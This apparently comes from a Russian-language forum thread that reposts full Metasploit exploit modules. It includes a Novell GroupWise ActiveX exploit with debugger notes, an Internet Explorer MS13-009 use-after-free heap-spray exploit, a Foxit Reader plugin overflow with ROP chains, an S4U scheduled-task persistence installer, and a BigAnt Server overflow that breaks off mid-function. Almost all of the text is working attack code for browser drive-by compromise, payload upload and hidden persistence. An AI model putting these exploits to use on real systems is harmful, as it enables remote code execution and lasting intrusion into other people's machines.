                rop_payload << stack_pivot
                rop_payload << code
        end
  
        return rop_payload
    end
  
  
    def load_exploit_html(my_target, cli)
        p  = get_payload(my_target, cli)
        js = ie_heap_spray(my_target, p)
  
        trigger = "target.GetNXPItem(\"22/10/2013\", 1, 1);" * 200
  
        html = %Q|
        <html>
        <head>
        <script>
        #{js}
        </script>
        </head>
        <body>
        <object classid='clsid:601D7813-408F-11D1-98D7-444553540000' id ='target'>
        </object>
        <script>
            target.SetEngine(0x0c0c0c0c-0x20);
            setInterval(function(){#{trigger}},1000);
        </script>
        </body>
        </html>
        |
  
        return html
    end
  
    def on_request_uri(cli, request)
        agent = request.headers['User-Agent']
        uri   = request.uri
        print_status("Requesting: #{uri}")
  
        my_target = get_target(agent)
        # Avoid the attack if no suitable target found
        if my_target.nil?
            print_error("Browser not supported, sending 404: #{agent}")
            send_not_found(cli)
            return
        end
  
        html = load_exploit_html(my_target, cli)
        html = html.gsub(/^\t\t/, '')
        print_status("Sending HTML...")
        send_response(cli, html, {'Content-Type'=>'text/html'})
    end
  
end
  
  
=begin
  
* Remote Code Exec
  
(240.8d4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\PROGRA~1\Novell\GROUPW~1\gwenv1.dll -
eax=00000000 ebx=0c0c0bec ecx=030c2998 edx=030c2998 esi=0c0c0bec edi=0013df58
eip=10335e2d esp=0013de04 ebp=0013de8c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
gwenv1!NgwOFErrorEnabledVector<NgwOFAttribute>::SetParent+0x326b9d:
10335e2d 8a8e4f040000    mov     cl,byte ptr [esi+44Fh]     ds:0023:0c0c103b=??
  
  
.text:103BDDEC                 mov     eax, [ebp+var_4] // var_4 => Engine + 0x20
.text:103BDDEF                 test    esi, esi
.text:103BDDF1                 jnz     short loc_103BDE17
.text:103BDDF3                 cmp     [eax+426h], esi
.text:103BDDF9                 jz      short loc_103BDE17 // Check function pointer against nil?
.text:103BDDFB                 mov     ecx, [ebp+arg_8]
.text:103BDDFE                 mov     edx, [ebp+arg_4]
.text:103BDE01                 push    ecx
.text:103BDE02                 mov     ecx, [eax+42Ah]  // Carefully crafted object allows to control it
.text:103BDE08                 push    edx
.text:103BDE09                 mov     edx, [eax+426h] // Carefully crafted object allows to control it
.text:103BDE0F                 push    ecx
.text:103BDE10                 call    edx  // Win!
  
* Info Leak
  
// Memory disclosure => 4 bytes from an arbitrary address
// Unstable when info leaking and triggering rce path...
target.SetEngine(0x7ffe0300-0x45c); // Disclosing ntdll
var leak = target.GetMiscAccess();
alert(leak);
  
=end
 
Microsoft Internet Explorer SLayoutRun Use-After-Free (MS13-009)

Код:
require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking
  
    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::RopDb
  
  
    def initialize(info={})
        super(update_info(info,
            'Name'        => "Microsoft Internet Explorer SLayoutRun Use-After-Free",
            'Description'     => %q{
                This module exploits a use-after-free vulnerability in Microsoft Internet Explorer
                where a CParaElement node is released but a reference is still kept
                in CDoc. This memory is reused when a CDoc relayout is performed.
            },
            'License'     => MSF_LICENSE,
            'Author'      =>
                [
                    'Scott Bell <scott.bell@security-assessment.com>',  # Vulnerability discovery & Metasploit module
                ],
            'References'      =>
                [
                    [ 'CVE', '2013-0025' ],
                    [ 'MSB', 'MS13-009' ],
                    [ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ],
                ],
            'Payload'     =>
                {
                    'BadChars'      => "\x00",
                    'Space'         => 1024,
                    'DisableNops'       => true,
                    'PrependEncoder'    => "\x81\xc4\x54\xf2\xff\xff",
                },
            'DefaultOptions'  =>
                {
                    'InitialAutoRunScript' => 'migrate -f'
                },
            'Platform'    => 'win',
            'Targets'     =>
                [
                    [ 'Automatic', {} ],
                    [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ]
                ],
            'Privileged'      => false,
            'DisclosureDate'  => "Feb 13 2013",
            'DefaultTarget'   => 0))
  
        register_options(
            [
                OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
            ], self.class)
  
    end
  
    def get_target(agent)
        #If the user is already specified by the user, we'll just use that
        return target if target.name != 'Automatic'
  
        nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
        ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
  
        ie_name = "IE #{ie}"
  
        case nt
        when '5.1'
            os_name = 'Windows XP SP3'
        end
  
        targets.each do |t|
            if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
                print_status("Target selected as: #{t.name}")
                return t
            end
        end
  
        return nil
    end
  
    def heap_spray(my_target, p)
        js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
        js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
  
        js = %Q|
  
            var heap_obj = new heapLib.ie(0x20000);
            var code = unescape("#{js_code}");
            var nops = unescape("#{js_nops}");
            while (nops.length < 0x80000) nops += nops;
            var offset = nops.substring(0, #{my_target['Offset']});
            var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
            while (shellcode.length < 0x40000) shellcode += shellcode;
            var block = shellcode.substring(0, (0x80000-6)/2);
            heap_obj.gc();
            for (var i=1; i < 0x300; i++) {
                heap_obj.alloc(block);
            }
            var overflow = nops.substring(0, 10);
  
        |
  
        js = heaplib(js, {:noobfu => true})
  
        if datastore['OBFUSCATE']
            js = ::Rex::Exploitation::JSObfu.new(js)
            js.obfuscate
  
        end
  
        return js
    end
  
    def get_payload(t, cli)
        code = payload.encoded
  
        # No rop. Just return the payload.
        return code if t['Rop'].nil?
  
        # ROP chain generated by mona.py - See corelan.be
        case t['Rop']
        when :msvcrt
            print_status("Using msvcrt ROP")
            rop_nops = [0x77c39f92].pack("V") * 11 # RETN
            rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'})
            rop_payload << rop_nops
            rop_payload << [0x77c364d5].pack("V") # POP EBP # RETN
            rop_payload << [0x77c15ed5].pack("V") # XCHG EAX, ESP # RETN
            rop_payload << [0x77c35459].pack("V") # PUSH ESP # RETN
            rop_payload << [0x77c39f92].pack("V") # RETN
            rop_payload << [0x0c0c0c8c].pack("V") # Shellcode offset
            rop_payload << code
  
        end
  
        return rop_payload
    end
  
    def this_resource
        r = get_resource
        return ( r == '/') ? '' : r
    end
  
    def get_exploit(my_target, cli)
        p  = get_payload(my_target, cli)
        js = heap_spray(my_target, p)
  
  
        html = %Q|
        <!doctype html>
        <html>
        <head>
        <script>
        var data
        var objArray = new Array(1800);
        #{js}
  
        setTimeout(function(){
            for (var i=0;i<objArray.length;i++){
                objArray[i] = document.createElement('body');
                document.body.appendChild(objArray[i])
                objArray[i].style.display = "none"
            }
  
            document.body.style.whiteSpace = "pre-line"
  
            for(var i=0;i<10;i++){
                for (var i=0;i<(objArray.length-650);i++){
                    objArray[i].className = data += unescape("%u0c0c%u0c0c");
                }
            }
  
            setTimeout(function(){document.body.innerHTML = "boo"}, 100)
        }, 100)
  
        </script>
        </head>
        <body>
        <p> </p>
        </body>
        </html>
        |
  
        return html
    end
  
  
    def get_iframe
        html = %Q|
        <html>
        <body>
        <iframe src="#{this_resource}/#{@iframe_name}" height="1" width="1"></iframe>
        </body>
        </html>
        |
  
        return html
    end
  
  
    def on_request_uri(cli, request)
        agent = request.headers['User-Agent']
        uri   = request.uri
        print_status("Requesting: #{uri}")
  
        my_target = get_target(agent)
        # Avoid the attack if no suitable target found
        if my_target.nil?
            print_error("Browser not supported, sending 404: #{agent}")
            send_not_found(cli)
            return
        end
  
  
        if uri =~ /#{@iframe_name}/
            html = get_exploit(my_target, cli)
            html = html.gsub(/^\t\t/, '')
            print_status("Sending HTML...")
        elsif   uri=~ /\/$/
            html = get_iframe
            print_status "Sending IFRAME..."
        end
            send_response(cli, html, {'Content-Type'=>'text/html'})
  
  
    end
  
    def exploit
        @iframe_name = "#{Rex::Text.rand_text_alpha(5)}.html"
        super
    end
end

Добавлено в [time]1360908144[/time]
Foxit Reader Plugin URL Processing Buffer Overflow

Код:
require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
  
    include Msf::Exploit::Remote::HttpServer::HTML
  
    Rank = NormalRanking
  
    def initialize(info={})
        super(update_info(info,
            'Name'           => "Foxit Reader Plugin URL Processing Buffer Overflow",
            'Description'    => %q{
                    This module exploits a vulnerability in the Foxit Reader Plugin, it exists in
                    the npFoxitReaderPlugin.dll module. When loading PDF files from remote hosts,
                    overly long query strings within URLs can cause a stack-based buffer overflow,
                    which can be exploited to execute arbitrary code. This exploit has been tested
                    on Windows 7 SP1 with Firefox 18.0 and Foxit Reader version 5.4.4.11281
                    (npFoxitReaderPlugin.dll version 2.2.1.530).
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'rgod <rgod[at]autistici.org>',       # initial discovery and poc
                    'Sven Krewitt <svnk[at]krewitt.org>', # metasploit module
                    'juan vazquez',                       # metasploit module
                ],
            'References'     =>
                [
                    [ 'OSVDB', '89030' ],
                    [ 'BID', '57174' ],
                    [ 'EDB', '23944' ],
                    [ 'URL', 'http://retrogod.altervista.org/9sg_foxit_overflow.htm' ],
                    [ 'URL', 'http://secunia.com/advisories/51733/' ]
                ],
            'Payload'        =>
                {
                    'Space'       => 2000,
                    'DisableNops' => true
                },
            'DefaultOptions'  =>
                {
                    'EXITFUNC' => "process",
                    'InitialAutoRunScript' => 'migrate -f'
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    # npFoxitReaderPlugin.dll version 2.2.1.530
                    [ 'Automatic', {} ],
                    [ 'Windows 7 SP1 / Firefox 18 / Foxit Reader 5.4.4.11281',
                        {
                            'Offset'          => 272,
                            'Ret'             => 0x1000c57d, # pop # ret # from npFoxitReaderPlugin
                            'WritableAddress' => 0x10045c10, # from npFoxitReaderPlugin
                            :rop => :win7_rop_chain
                        }
                    ]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Jan 7 2013",
            'DefaultTarget'  => 0))
    end
  
    def get_target(agent)
        #If the user is already specified by the user, we'll just use that
        return target if target.name != 'Automatic'
  
        #Mozilla/5.0 (Windows NT 6.1; rv:18.0) Gecko/20100101 Firefox/18.0
        nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
        firefox = agent.scan(/Firefox\/(\d+\.\d+)/).flatten[0] || ''
  
        case nt
            when '5.1'
                os_name = 'Windows XP SP3'
            when '6.0'
                os_name = 'Windows Vista'
            when '6.1'
                os_name = 'Windows 7'
        end
  
        if os_name == 'Windows 7' and firefox =~ /18/
            return targets[1]
        end
  
        return nil
    end
  
    def junk
        return rand_text_alpha(4).unpack("L")[0].to_i
    end
  
    def nops
        make_nops(4).unpack("N*")
    end
  
    # Uses rop chain from npFoxitReaderPlugin.dll (foxit) (no ASLR module)
    def win7_rop_chain
  
        # rop chain generated with mona.py - www.corelan.be
        rop_gadgets =
            [
                0x1000ce1a, # POP EAX # RETN [npFoxitReaderPlugin.dll]
                0x100361a8, # ptr to &VirtualAlloc() [IAT npFoxitReaderPlugin.dll]
                0x1000f055, # MOV EAX,DWORD PTR DS:[EAX] # RETN [npFoxitReaderPlugin.dll]
                0x10021081, # PUSH EAX # POP ESI # RETN 0x04 [npFoxitReaderPlugin.dll]
                0x10007971, # POP EBP # RETN [npFoxitReaderPlugin.dll]
                0x41414141, # Filler (RETN offset compensation)
                0x1000614c, # & push esp # ret  [npFoxitReaderPlugin.dll]
                0x100073fa, # POP EBX # RETN [npFoxitReaderPlugin.dll]
                0x00001000, # 0x00001000-> edx
                0x1000d9ec, # XOR EDX, EDX # RETN
                0x1000d9be, # ADD EDX,EBX # POP EBX # RETN 0x10 [npFoxitReaderPlugin.dll]
                junk,
                0x100074a7, # POP ECX # RETN [npFoxitReaderPlugin.dll]
                junk,
                junk,
                junk,
                0x41414141, # Filler (RETN offset compensation)
                0x00000040, # 0x00000040-> ecx
                0x1000e4ab, # POP EBX # RETN [npFoxitReaderPlugin.dll]
                0x00000001, # 0x00000001-> ebx
                0x1000dc86, # POP EDI # RETN [npFoxitReaderPlugin.dll]
                0x1000eb81, # RETN (ROP NOP) [npFoxitReaderPlugin.dll]
                0x1000c57d, # POP EAX # RETN [npFoxitReaderPlugin.dll]
                nops,
                0x10005638, # PUSHAD # RETN [npFoxitReaderPlugin.dll]
            ].flatten.pack("V*")
  
        return rop_gadgets
    end
  
    def on_request_uri(cli, request)
  
        agent = request.headers['User-Agent']
        my_target = get_target(agent)
  
        # Avoid the attack if no suitable target found
        if my_target.nil?
            print_error("Browser not supported, sending 404: #{agent}")
            send_not_found(cli)
            return
        end
  
        unless self.respond_to?(my_target[:rop])
            print_error("Invalid target specified: no callback function defined")
            send_not_found(cli)
            return
        end
  
        return if ((p = regenerate_payload(cli)) == nil)
  
        # we use two responses:
        # one for an HTTP 301 redirect and sending the payload
        # and one for sending the HTTP 200 OK with appropriate Content-Type
        if request.resource =~ /\.pdf$/
            # sending Content-Type
            resp = create_response(200, "OK")
            resp.body = ""
            resp['Content-Type'] = 'application/pdf'
            resp['Content-Length'] = rand_text_numeric(3,"0")
            cli.send_response(resp)
            return
        else
            resp = create_response(301, "Moved Permanently")
            resp.body = ""
  
            my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
            if datastore['SSL']
                schema = "https"
            else
                schema = "http"
            end
  
            sploit = rand_text_alpha(my_target['Offset'] - "#{schema}://#{my_host}:#{datastore['SRVPORT']}#{request.uri}.pdf?".length)
            sploit << [my_target.ret].pack("V") # EIP
            sploit << [my_target['WritableAddress']].pack("V") # Writable Address
            sploit << self.send(my_target[:rop])
            sploit << p.encoded
  
            resp['Location'] = request.uri + '.pdf?' + Rex::Text.uri_encode(sploit, 'hex-all')
            cli.send_response(resp)
  
            # handle the payload
            handler(cli)
        end
    end
  
end
 
Windows Manage User Level Persistent Payload Installer

This Metasploit module creates a scheduled task that will run using service-for-user (S4U). This allows the scheduled task to run even as an unprivileged user that is not logged into the device. This will result in lower security context, allowing access to local resources only. The module requires 'Logon as a batch job' permissions (SeBatchLogonRight).

Код:
##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/windows/priv'
require 'msf/core/exploit/exe'

class Metasploit3 < Msf::Exploit::Local
	Rank = ExcellentRanking

	include Msf::Post::Common
	include Msf::Post::File
	include Msf::Post::Windows::Priv
	include Exploit::EXE

	def initialize(info={})
  super( update_info( info,
  	'Name'          => 'Windows Manage User Level Persistent Payload Installer',
  	'Description'   => %q{
    Creates a scheduled task that will run using service-for-user (S4U).
    This allows the scheduled task to run even as an unprivileged user
    that is not logged into the device. This will result in lower security
    context, allowing access to local resources only. The module
    requires 'Logon as a batch job' permissions (SeBatchLogonRight).
  	},
  	'License'       => MSF_LICENSE,
  	'Author'        =>
    [
    	'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>',
    	'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
    ],
  	'Platform'      => [ 'windows' ],
  	'SessionTypes'  => [ 'meterpreter' ],
  	'Targets'       => [ [ 'Windows', {} ] ],
  	'DisclosureDate' => 'Jan 2 2013', # Date of scriptjunkie's blog post
  	'DefaultTarget' => 0,
  	'References'     => [
    [ 'URL', 'http://www.pentestgeek.com/2013/02/11/scheduled-tasks-with-s4u-and-on-demand-persistence/'],
    [ 'URL', 'http://www.scriptjunkie.us/2013/01/running-code-from-a-non-elevated-account-at-any-time/']
  	]
  ))

  register_options(
  	[
    OptInt.new('FREQUENCY', [false, 'Schedule trigger: Frequency in minutes to execute']),
    OptInt.new('EXPIRE_TIME', [false, 'Number of minutes until trigger expires']),
    OptEnum.new('TRIGGER', [true, 'Payload trigger method', 'schedule',['logon', 'lock', 'unlock','schedule', 'event']]),
    OptString.new('REXENAME',[false, 'Name of exe on remote system']),
    OptString.new('RTASKNAME',[false, 'Name of exe on remote system']),
    OptString.new('PATH',[false, 'PATH to write payload'])
  	], self.class)

  register_advanced_options(
  	[
    OptString.new('EVENT_LOG', [false, 'Event trigger: The event log to check for event']),
    OptInt.new('EVENT_ID', [false, 'Event trigger: Event ID to trigger on.']),
    OptString.new('XPATH', [false, 'XPath query'])
  	], self.class)
	end

	def exploit
  if not (sysinfo['OS'] =~ /Build [6-9]\d\d\d/)
  	fail_with(Exploit::Failure::NoTarget, "This module only works on Vista/2008 and above")
  end

  if datastore['TRIGGER'] == "event"
  	if datastore['EVENT_LOG'].nil? or datastore['EVENT_ID'].nil?
    print_status("The properties of any event in the event viewer will contain this information")
    fail_with(Exploit::Failure::BadConfig, "Advanced options EVENT_LOG and EVENT_ID required for event")
  	end
  end

  # Generate payload
  payload = generate_payload_exe

  # Generate remote executable name
  rexename = generate_rexename

  # Generate path names
  xml_path,rexe_path = generate_path(rexename)

  # Upload REXE to victim fs
  upload_rexe(rexe_path, payload)

  # Create basic XML outline
  xml = create_xml(rexe_path)

  # Fix XML based on trigger
  xml = add_xml_triggers(xml)

  # Write XML to victim fs, if fail clean up
  write_xml(xml, xml_path, rexe_path)

  # Name task with Opt or give random name
  schname = datastore['RTASKNAME'] || Rex::Text.rand_text_alpha((rand(8)+6))

  # Create task with modified XML
  create_task(xml_path, schname, rexe_path)
	end

	##############################################################
	# Generate name for payload
	# Returns name

	def generate_rexename
  rexename = datastore['REXENAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
  if not rexename =~ /\.exe$/
  	print_warning("#{datastore['REXENAME']} isn't an exe")
  end
  return rexename
	end

	##############################################################
	# Generate Path for payload upload
	# Returns path for xml and payload

	def generate_path(rexename)
  # generate a path to write payload and xml
  path = datastore['PATH'] || expand_path("%TEMP%")
  xml_path = "#{path}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}.xml"
  rexe_path = "#{path}\\#{rexename}"
  return xml_path,rexe_path
	end

	##############################################################
	# Upload the executable payload
	# Returns boolean for success

	def upload_rexe(path, payload)
  	vprint_status("Uploading #{path}")
  	if file? path
    fail_with(Exploit::Failure::Unknown, "File #{path} already exists...exiting")
  	end
  begin
  	write_file(path, payload)
  rescue => e
  	fail_with(Exploit::Failure::Unknown, "Could not upload to #{path}")
  end
  print_status("Successfully uploaded remote executable to #{path}")
	end

	##############################################################
	# Creates a scheduled task, exports as XML, deletes task
	# Returns normal XML for generic task

	def create_xml(rexe_path)
  xml_path = File.join(Msf::Config.install_root, "data", "exploits", "s4u_persistence.xml")
  xml_file = File.new(xml_path,"r")
  xml = xml_file.read
  xml_file.close

  # Get local time, not system time from victim machine
  begin
  	vt = client.railgun.kernel32.GetLocalTime(32)
  	ut = vt['lpSystemTime'].unpack("v*")
  	t = ::Time.utc(ut[0],ut[1],ut[3],ut[4],ut[5])
  rescue
  	print_warning("Could not read system time from victim...using your local time to determine creation date")
  	t = ::Time.now
  end
  date = t.strftime("%Y-%m-%d")
  time = t.strftime("%H:%M:%S")

  # put in correct times
  xml = xml.gsub(/DATEHERE/, "#{date}T#{time}")

  domain, user = client.sys.config.getuid.split('\\')

  # put in user information
  xml = xml.sub(/DOMAINHERE/, user)
  xml = xml.sub(/USERHERE/, "#{domain}\\#{user}")

  xml = xml.sub(/COMMANDHERE/, rexe_path)
  return xml
	end

	##############################################################
	# Takes the XML, alters it based on trigger specified. Will also
	# add in expiration tag if used.
	# Returns the modified XML

	def add_xml_triggers(xml)
  # Insert trigger
  case datastore['TRIGGER']
  	when 'logon'
    # Trigger based on winlogon event, checks windows license key after logon
    print_status("This trigger triggers on event 4101 which validates the Windows license")
    line = "*[System[EventID='4101']] and *[System[Provider[@Name='Microsoft-Windows-Winlogon']]]"
    xml = create_trigger_event_tags("Application", line, xml)

  	when 'lock'
    xml = create_trigger_tags("SessionLock", xml)

  	when 'unlock'
    xml = create_trigger_tags("SessionUnlock", xml)

  	when 'event'
    line = "*[System[(EventID=#{datastore['EVENT_ID']})]]"
    if not datastore['XPATH'].nil? and not datastore['XPATH'].empty?
    	# Append xpath queries
    	line << " and #{datastore['XPATH']}"
    	# Print XPath query, useful to user to spot issues with uncommented single quotes
    	print_status("XPath query: #{line}")
    end

    xml = create_trigger_event_tags(datastore['EVENT_LOG'], line, xml)

  	when 'schedule'
    # Change interval tag, insert into XML
    if datastore['FREQUENCY'] != 0
    	minutes = datastore['FREQUENCY']
    else
    	print_status("Defaulting frequency to every hour")
    	minutes = 60
    end
    xml = xml.sub(/<Interval>.*?</, "<Interval>PT#{minutes}M<")

    # Insert expire tag if not 0
    unless datastore['EXPIRE_TIME'] == 0
    	# Generate expire tag
    	end_boundary = create_expire_tag
    	# Inject expire tag
    	insert = xml.index("</StartBoundary>")
    	xml.insert(insert + 16, "\n      #{end_boundary}")
    end
  end
  return xml
	end

	##############################################################
	# Creates end boundary tag which expires the trigger
	# Returns XML for expire

	def create_expire_tag()
  # Get local time, not system time from victim machine
  begin
  	vt = client.railgun.kernel32.GetLocalTime(32)
  	ut = vt['lpSystemTime'].unpack("v*")
  	t = ::Time.utc(ut[0],ut[1],ut[3],ut[4],ut[5])
  rescue
  	print_error("Could not read system time from victim...using your local time to determine expire date")
  	t = ::Time.now
  end

  # Create time object to add expire time to and create tag
  t = t + (datastore['EXPIRE_TIME'] * 60)
  date = t.strftime("%Y-%m-%d")
  time = t.strftime("%H:%M:%S")
  end_boundary = "<EndBoundary>#{date}T#{time}</EndBoundary>"
  return end_boundary
	end

	##############################################################
	# Creates trigger XML for session state triggers and replaces
	# the time trigger.
	# Returns altered XML

	def create_trigger_tags(trig, xml)
  domain, user = client.sys.config.getuid.split('\\')

  # Create session state trigger, weird spacing used to maintain
  # natural Winadows spacing for XML export
  temp_xml = "<SessionStateChangeTrigger>\n"
  temp_xml << "      #{create_expire_tag}" unless datastore['EXPIRE_TIME'] == 0
  temp_xml << "      <Enabled>true</Enabled>\n"
  temp_xml << "      <StateChange>#{trig}</StateChange>\n"
  temp_xml << "      <UserId>#{domain}\\#{user}</UserId>\n"
  temp_xml << "    </SessionStateChangeTrigger>"

  xml = xml.gsub(/<TimeTrigger>.*<\/TimeTrigger>/m, temp_xml)

  return xml
	end

	##############################################################
	# Creates trigger XML for event based triggers and replaces
	# the time trigger.
	# Returns altered XML

	def create_trigger_event_tags(log, line, xml)
  # Fscked up XML syntax for windows event #{id} in #{log}, weird spacind
  # used to maintain natural Windows spacing for XML export
  temp_xml = "<EventTrigger>\n"
  temp_xml << "      #{create_expire_tag}\n" unless datastore['EXPIRE_TIME'] == 0
  temp_xml << "      <Enabled>true</Enabled>\n"
  temp_xml << "      <Subscription>&lt;QueryList&gt;&lt;Query Id=\"0\" "
  temp_xml << "Path=\"#{log}\"&gt;&lt;Select Path=\"#{log}\"&gt;"
  temp_xml << line
  temp_xml << "&lt;/Select&gt;&lt;/Query&gt;&lt;/QueryList&gt;"
  temp_xml << "</Subscription>\n"
  temp_xml << "    </EventTrigger>"

  xml = xml.gsub(/<TimeTrigger>.*<\/TimeTrigger>/m, temp_xml)
  return xml
	end

	##############################################################
	# Takes the XML and a path and writes file to filesystem
	# Returns boolean for success

	def write_xml(xml, path, rexe_path)
  if file? path
  	delete_file(rexe_path)
  	fail_with(Exploit::Failure::Unknown, "File #{path} already exists...exiting")
  end
  begin
  	write_file(path, xml)
  rescue
  	delete_file(rexe_path)
  	fail_with(Exploit::Failure::Unknown, "Issues writing XML to #{path}")
  end
  print_status("Successfully wrote XML file to #{path}")
	end

	##############################################################
	# Takes path and delete file
	# Returns boolean for success

	def delete_file(path)
  begin
  	file_rm(path)
  rescue
  	print_warning("Could not delete file #{path}, delete manually")
  end
	end

	##############################################################
	# Takes path and name for task and creates final task
	# Returns boolean for success

	def create_task(path, schname, rexe_path)
  # create task using XML file on victim fs
  create_task_response = cmd_exec("cmd.exe", "/c schtasks /create /xml #{path} /tn \"#{schname}\"")
  if create_task_response =~ /has successfully been created/
  	print_good("Persistence task #{schname} created successfully")

  	# Create to delete commands for exe and task
  	del_task = "schtasks /delete /tn \"#{schname}\" /f"
  	print_status("#{"To delete task:".ljust(20)} #{del_task}")
  	print_status("#{"To delete payload:".ljust(20)} del #{rexe_path}")
  	del_task << "\ndel #{rexe_path}"

  	# Delete XML from victim
  	delete_file(path)

  	# Save info to notes DB
  	report_note(:host => session.session_host,
  	:type => "host.s4u_persistance.cleanup",
  	:data => {
    :session_num => session.sid,
    :stype => session.type,
    :desc => session.info,
    :platform => session.platform,
    :via_payload => session.via_payload,
    :via_exploit => session.via_exploit,
    :created_at => Time.now.utc,
    :delete_commands =>  del_task
    }
  	)
  elsif create_task_response =~ /ERROR: Cannot create a file when that file already exists/
  	# Clean up
  	delete_file(rexe_path)
  	delete_file(path)
  	error = "The scheduled task name is already in use"
  	fail_with(Exploit::Failure::Unknown, error)
  else
  	error = "Issues creating task using XML file schtasks"
  	vprint_error("Error: #{create_task_response}")
  	if datastore['EVENT_LOG'] == 'Security' and datastore['TRIGGER'] == "Event"
    print_warning("Security log can restricted by UAC, try a different trigger")
  	end
  	# Clean up
  	delete_file(rexe_path)
  	delete_file(path)
  	fail_with(Exploit::Failure::Unknown, error)
  end
	end
end
 
BigAnt Server 2 SCH And DUPF Buffer Overflow Vulnerability

Код:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
 
  include Msf::Exploit::Remote::Tcp
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'BigAnt Server 2 SCH And DUPF Buffer Overflow',
      'Description'    => %q{
          This exploits a stack buffer overflow in BigAnt Server 2.97 SP7. The
        vulnerability is due to the dangerous usage of strcpy while handling errors. This
        module uses a combination of SCH and DUPF request to trigger the vulnerability, and
        has been tested successfully against version 2.97 SP7 over Windows XP SP3 and
        Windows 2003 SP2.
      },
      'Author'         =>
        [
          'Hamburgers Maccoy', # Vulnerability discovery
          'juan vazquez'       # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2012-6275' ],
          [ 'US-CERT-VU', '990652' ],
          [ 'BID', '57214' ],
          [ 'OSVDB', '89344' ]
        ],
      'Payload'        =>
        {
          'Space'       => 2500,
          'BadChars'    => "\x00\x0a\x0d\x25\x27",
          'DisableNops' => true,
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'BigAnt Server 2.97 SP7 / Windows XP SP3',
            {
              'Offset'     => 629,
              'Ret'        => 0x77c21ef4, # ppr from msvcrt
              'JmpESP'     => 0x77c35459, # push esp # ret from msvcrt
              'FakeObject' => 0x77C60410 # .data from msvcrt
            }
          ],
          [ 'BigAnt Server 2.97 SP7 / Windows 2003 SP2',
            {
              'Offset'      => 629,
              'Ret'         => 0x77bb287a, # ppr from msvcrt
              'FakeObject'  => 0x77bf2460, # .data from msvcrt
              :callback_rop => :w2003_sp2_rop
            }
          ]
        ],
      'Privileged'     => true,
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Jan 09 2013'))
 
      register_options([Opt::RPORT(6661)], self.class)
  end
 
  def junk(n=4)
    return rand_text_alpha(n).unpack("V")[0].to_i
  end
 
  def nop
    return make_nops(4).unpack("V")[0].to_i
  end
 
  def w2003_sp2_rop
    rop_gadgets =
      [
        0x77bc5d88, # POP EAX # RETN
        0x77ba1114, # <- *&VirtualProtect()
        0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
        junk,
        0x77bb0c86, # XCHG EAX,ESI # RETN
        0x77bc9801, # POP EBP # RETN
        0x77be2265, # ptr to 'push esp #  ret'
        0x77bc5d88, # POP EAX # RETN
        0x03C0990F,
        0x77bdd441, # SUB EAX, 03c0940f  (dwSize, 0x500 -> ebx)
        0x77bb48d3, # POP EBX, RET
        0x77bf21e0, # .data
        0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
        0x77bbfc02, # POP ECX # RETN
        0x77bef001, # W pointer (lpOldProtect) (-> ecx)
        0x77bd8c04, # POP EDI # RETN
        0x77bd8c05, # ROP NOP (-> edi)
        0x77bc5d88, # POP EAX # RETN
        0x03c0984f,
        0x77bdd441, # SUB EAX, 03c0940f
        0x77bb8285, # XCHG EAX,EDX # RETN
        0x77bc5d88, # POP EAX # RETN
        nop,
        0x77be6591, # PUSHAD # ADD AL,0EF # RETN
      ].pack("V*")
 
    return rop_gadgets
  end
 
  def exploit
 
    sploit = rand_text_alpha(target['Offset'])
    sploit << [target.ret].pack("V")
    sploit << [target['FakeObject']].pack("V")
    sploit << [target['FakeObject']].pack("V")
    if target[:callback_rop] and self.respond_to?(target[:callback_rop])
      sploit << self.send(target[:callback_rop])
    else
      sploit << [target['JmpESP']].pack("V")
    end
    sploit << payload.encoded
 
    random_filename = rand_text_alpha(4)
    random_date = "#{rand_text_numeric(4)}-#{rand_text_numeric(2)}-#{rand_text_numeric(2)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)}"
    random_userid = rand_text_numeric(1)
    random_username = rand_text_alpha_lower(5)
    random_content = rand_text_alpha(10 + rand(10))
